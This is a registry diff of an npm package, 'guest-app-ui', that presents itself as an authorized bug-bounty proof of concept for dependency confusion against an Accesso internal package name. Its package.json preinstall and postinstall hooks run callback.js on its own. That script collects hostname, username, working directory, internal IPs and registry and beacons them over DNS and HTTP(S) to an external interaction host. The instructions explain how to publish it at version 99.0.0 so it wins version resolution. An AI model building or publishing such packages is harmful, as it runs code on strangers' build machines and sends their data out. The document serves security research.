guest-app-ui 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/INSTRUCTIONS.md +45 -0
- package/README.md +18 -0
- package/callback.js +81 -0
- package/index.js +11 -0
- package/package.json +13 -0
package/INSTRUCTIONS.md
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
# Publish + verify — guest-app-ui dependency-confusion PoC
|
|
2
|
+
|
|
3
|
+
Webhook: `4li9yfz7.instances.httpworkbench.com` (yours, fresh for this PoC)
|
|
4
|
+
|
|
5
|
+
## 0. Pre-flight (do NOT skip)
|
|
6
|
+
- Confirm the **Accesso Passport** RoE permits a dependency-confusion PoC published to the
|
|
7
|
+
public npm registry. If it forbids publishing live code, stop and report the unclaimed-name
|
|
8
|
+
finding instead.
|
|
9
|
+
- Re-confirm still unclaimed right before publishing: `npm view guest-app-ui` → should 404.
|
|
10
|
+
|
|
11
|
+
## 1. Local self-test first (fires the beacon to your webhook without publishing)
|
|
12
|
+
```sh
|
|
13
|
+
cd depconf/poc-guest-app-ui
|
|
14
|
+
node callback.js selftest
|
|
15
|
+
```
|
|
16
|
+
Check `4li9yfz7.instances.httpworkbench.com` — you should see one HTTP POST to
|
|
17
|
+
`/guest-app-ui/selftest?d=...` and a DNS lookup. That proves the beacon works before you go public.
|
|
18
|
+
|
|
19
|
+
## 2. Publish (your account `guest-app-ui`, free — NOT npm Pro)
|
|
20
|
+
```sh
|
|
21
|
+
cd depconf/poc-guest-app-ui
|
|
22
|
+
npm whoami # should print: guest-app-ui
|
|
23
|
+
npm publish --access public
|
|
24
|
+
```
|
|
25
|
+
`version 99.0.0` is set high on purpose to win version resolution.
|
|
26
|
+
|
|
27
|
+
## 3. Watch the webhook
|
|
28
|
+
Any interaction is decoded from the `d=` query param (base64url JSON) or the JSON POST body:
|
|
29
|
+
`host`, `user`, `cwd`, `dir`, `platform`, `ips`, `registry`, `phase`, `ts`.
|
|
30
|
+
- `registry` = `https://registry.npmjs.org/` (or empty) → **confirms public-npm resolution** = the bug.
|
|
31
|
+
- A hit whose `host`/`ips`/`dir` map to **Accesso build/CI infra** = confirmed dependency confusion.
|
|
32
|
+
|
|
33
|
+
## 4. Report (Bugcrowd — Accesso Passport)
|
|
34
|
+
Include:
|
|
35
|
+
- Evidence it's an internal bare-import dep: sourcemaps
|
|
36
|
+
`https://accountportal.meg-eu.accessoticketing.com/polyfills-HCXKRFJI.js.map` and
|
|
37
|
+
`https://pay-cdn.na2.accessoticketing.com/main.43c07be8e2d92b24.js.map`
|
|
38
|
+
showing `import { validString } from 'guest-app-ui';` and `node_modules/guest-app-ui/...`.
|
|
39
|
+
- `npm view guest-app-ui` 404 (unclaimed) at time of testing.
|
|
40
|
+
- The webhook callback log (redact nothing of yours; include timestamp + resolving registry).
|
|
41
|
+
- Note the PoC is benign and you will unpublish on request.
|
|
42
|
+
|
|
43
|
+
## 5. Clean up
|
|
44
|
+
After triage, `npm unpublish guest-app-ui@99.0.0` (within 72h) or `npm deprecate` it, and
|
|
45
|
+
hand the name to Accesso if they want it.
|
package/README.md
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
# guest-app-ui — authorized security research placeholder
|
|
2
|
+
|
|
3
|
+
**This is not a real package.** It is a benign proof-of-concept published under a
|
|
4
|
+
responsible-disclosure / bug-bounty engagement (Bugcrowd — *Accesso Passport* program)
|
|
5
|
+
by researcher **xor-rax-rax**.
|
|
6
|
+
|
|
7
|
+
It demonstrates that the internal package name `guest-app-ui`, referenced as a bare
|
|
8
|
+
import in Accesso front-end builds, was **unclaimed on the public npm registry** and was
|
|
9
|
+
therefore susceptible to **dependency confusion**.
|
|
10
|
+
|
|
11
|
+
The install script performs a single **benign out-of-band callback** (hostname, username,
|
|
12
|
+
working directory, internal IP, and the resolving npm registry) to a researcher-controlled
|
|
13
|
+
interaction host, purely to prove that the package was resolved and executed. It contains
|
|
14
|
+
**no payload**, reads no application or user data, exfiltrates no secrets, and takes no
|
|
15
|
+
destructive action.
|
|
16
|
+
|
|
17
|
+
**If you are from Accesso and found this:** please respond on the Bugcrowd report. The name
|
|
18
|
+
will be unpublished / handed over once the report is triaged.
|
package/callback.js
ADDED
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
/*
|
|
2
|
+
* Authorized dependency-confusion PoC beacon — Bugcrowd "Accesso Passport".
|
|
3
|
+
* Researcher: xor-rax-rax (Bugcrowd).
|
|
4
|
+
* BENIGN by design: collects only non-sensitive host-identifying recon (hostname,
|
|
5
|
+
* username, cwd, internal IPs, the npm registry that resolved this package) and sends
|
|
6
|
+
* it once, out-of-band, to a researcher-controlled interaction host. It performs NO
|
|
7
|
+
* destructive action, reads NO application/user files, exfiltrates NO environment
|
|
8
|
+
* secrets, and never throws (so it cannot break the victim build). Node built-ins only.
|
|
9
|
+
*/
|
|
10
|
+
'use strict';
|
|
11
|
+
var os = require('os');
|
|
12
|
+
var dns = require('dns');
|
|
13
|
+
var https = require('https');
|
|
14
|
+
var http = require('http');
|
|
15
|
+
|
|
16
|
+
var COLLAB = '4li9yfz7.instances.httpworkbench.com'; // researcher-controlled OOB host
|
|
17
|
+
var PKG = 'guest-app-ui';
|
|
18
|
+
var phase = process.argv[2] || 'install';
|
|
19
|
+
|
|
20
|
+
function internalIPs() {
|
|
21
|
+
var out = [];
|
|
22
|
+
try {
|
|
23
|
+
var ni = os.networkInterfaces();
|
|
24
|
+
Object.keys(ni).forEach(function (k) {
|
|
25
|
+
(ni[k] || []).forEach(function (a) {
|
|
26
|
+
if (a && a.family === 'IPv4') out.push(a.address);
|
|
27
|
+
});
|
|
28
|
+
});
|
|
29
|
+
} catch (e) {}
|
|
30
|
+
return out;
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
function safe(s) { return String(s == null ? '' : s).replace(/[^\w.\-:@/ ]/g, '_').slice(0, 120); }
|
|
34
|
+
function b64url(s) { return Buffer.from(s).toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, ''); }
|
|
35
|
+
|
|
36
|
+
// deliberately-limited, non-secret recon
|
|
37
|
+
var info = {
|
|
38
|
+
poc: 'dependency-confusion',
|
|
39
|
+
pkg: PKG,
|
|
40
|
+
phase: phase,
|
|
41
|
+
host: safe(os.hostname()),
|
|
42
|
+
user: safe((os.userInfo && os.userInfo().username) || process.env.USER || process.env.USERNAME || '?'),
|
|
43
|
+
cwd: safe(process.cwd()),
|
|
44
|
+
dir: safe(__dirname),
|
|
45
|
+
platform: safe(os.platform() + ' ' + os.release()),
|
|
46
|
+
ips: internalIPs().join(','),
|
|
47
|
+
registry: safe(process.env.npm_config_registry || ''), // which registry pulled us (proves public-npm resolution)
|
|
48
|
+
ts: Date.now()
|
|
49
|
+
};
|
|
50
|
+
|
|
51
|
+
var payload = JSON.stringify(info);
|
|
52
|
+
var token = b64url(info.host + '|' + info.user + '|' + info.pkg + '|' + phase);
|
|
53
|
+
|
|
54
|
+
// 1) DNS beacon — label prepended to the collaborator host (works even if egress blocks HTTP)
|
|
55
|
+
try {
|
|
56
|
+
var label = token.replace(/[^a-zA-Z0-9-]/g, '').slice(0, 60); // one DNS-safe label <=63 chars
|
|
57
|
+
dns.lookup(label + '.' + COLLAB, function () {});
|
|
58
|
+
dns.resolve4(label + '.dns.' + COLLAB, function () {});
|
|
59
|
+
} catch (e) {}
|
|
60
|
+
|
|
61
|
+
// 2) HTTP(S) beacon — data in path + query, plus JSON body
|
|
62
|
+
function beacon(lib, scheme) {
|
|
63
|
+
try {
|
|
64
|
+
var path = '/' + PKG + '/' + phase + '?d=' + b64url(payload);
|
|
65
|
+
var req = lib.request(
|
|
66
|
+
{ host: COLLAB, port: scheme === 'https' ? 443 : 80, method: 'POST', path: path,
|
|
67
|
+
headers: { 'Content-Type': 'application/json', 'X-PoC': 'dependency-confusion', 'Content-Length': Buffer.byteLength(payload) },
|
|
68
|
+
timeout: 4000, rejectUnauthorized: false },
|
|
69
|
+
function (res) { res.on('data', function () {}); res.on('end', function () {}); }
|
|
70
|
+
);
|
|
71
|
+
req.on('error', function () {});
|
|
72
|
+
req.on('timeout', function () { try { req.destroy(); } catch (e) {} });
|
|
73
|
+
req.write(payload);
|
|
74
|
+
req.end();
|
|
75
|
+
} catch (e) {}
|
|
76
|
+
}
|
|
77
|
+
beacon(https, 'https');
|
|
78
|
+
beacon(http, 'http');
|
|
79
|
+
|
|
80
|
+
// never block/fail the install
|
|
81
|
+
setTimeout(function () { try { process.exit(0); } catch (e) {} }, 4500);
|
package/index.js
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
/*
|
|
2
|
+
* Benign stub for the authorized dependency-confusion PoC (Bugcrowd: Accesso Passport).
|
|
3
|
+
* The target imports `{ validString }` from 'guest-app-ui'. This stub provides a harmless,
|
|
4
|
+
* side-effect-free implementation so that if this package is ever resolved into a build,
|
|
5
|
+
* nothing crashes and no harm is done. No data collection happens here (that is only in
|
|
6
|
+
* the install-time callback, which is a benign out-of-band beacon).
|
|
7
|
+
*/
|
|
8
|
+
'use strict';
|
|
9
|
+
function validString(s) { return typeof s === 'string' && s.length > 0; }
|
|
10
|
+
module.exports = { validString: validString };
|
|
11
|
+
module.exports.default = module.exports;
|
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "guest-app-ui",
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "Authorized security research: dependency-confusion proof-of-concept for the Bugcrowd 'Accesso Passport' program. Benign out-of-band callback only, no payload. If you are from Accesso and found this: it demonstrates that the internal package name 'guest-app-ui' was unclaimed on the public npm registry. Please contact the researcher via the Bugcrowd report.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node callback.js preinstall",
|
|
8
|
+
"postinstall": "node callback.js postinstall"
|
|
9
|
+
},
|
|
10
|
+
"keywords": ["security-research", "dependency-confusion", "poc", "bugcrowd"],
|
|
11
|
+
"author": "xor-rax-rax (Bugcrowd - Accesso Passport authorized PoC)",
|
|
12
|
+
"license": "MIT"
|
|
13
|
+
}
|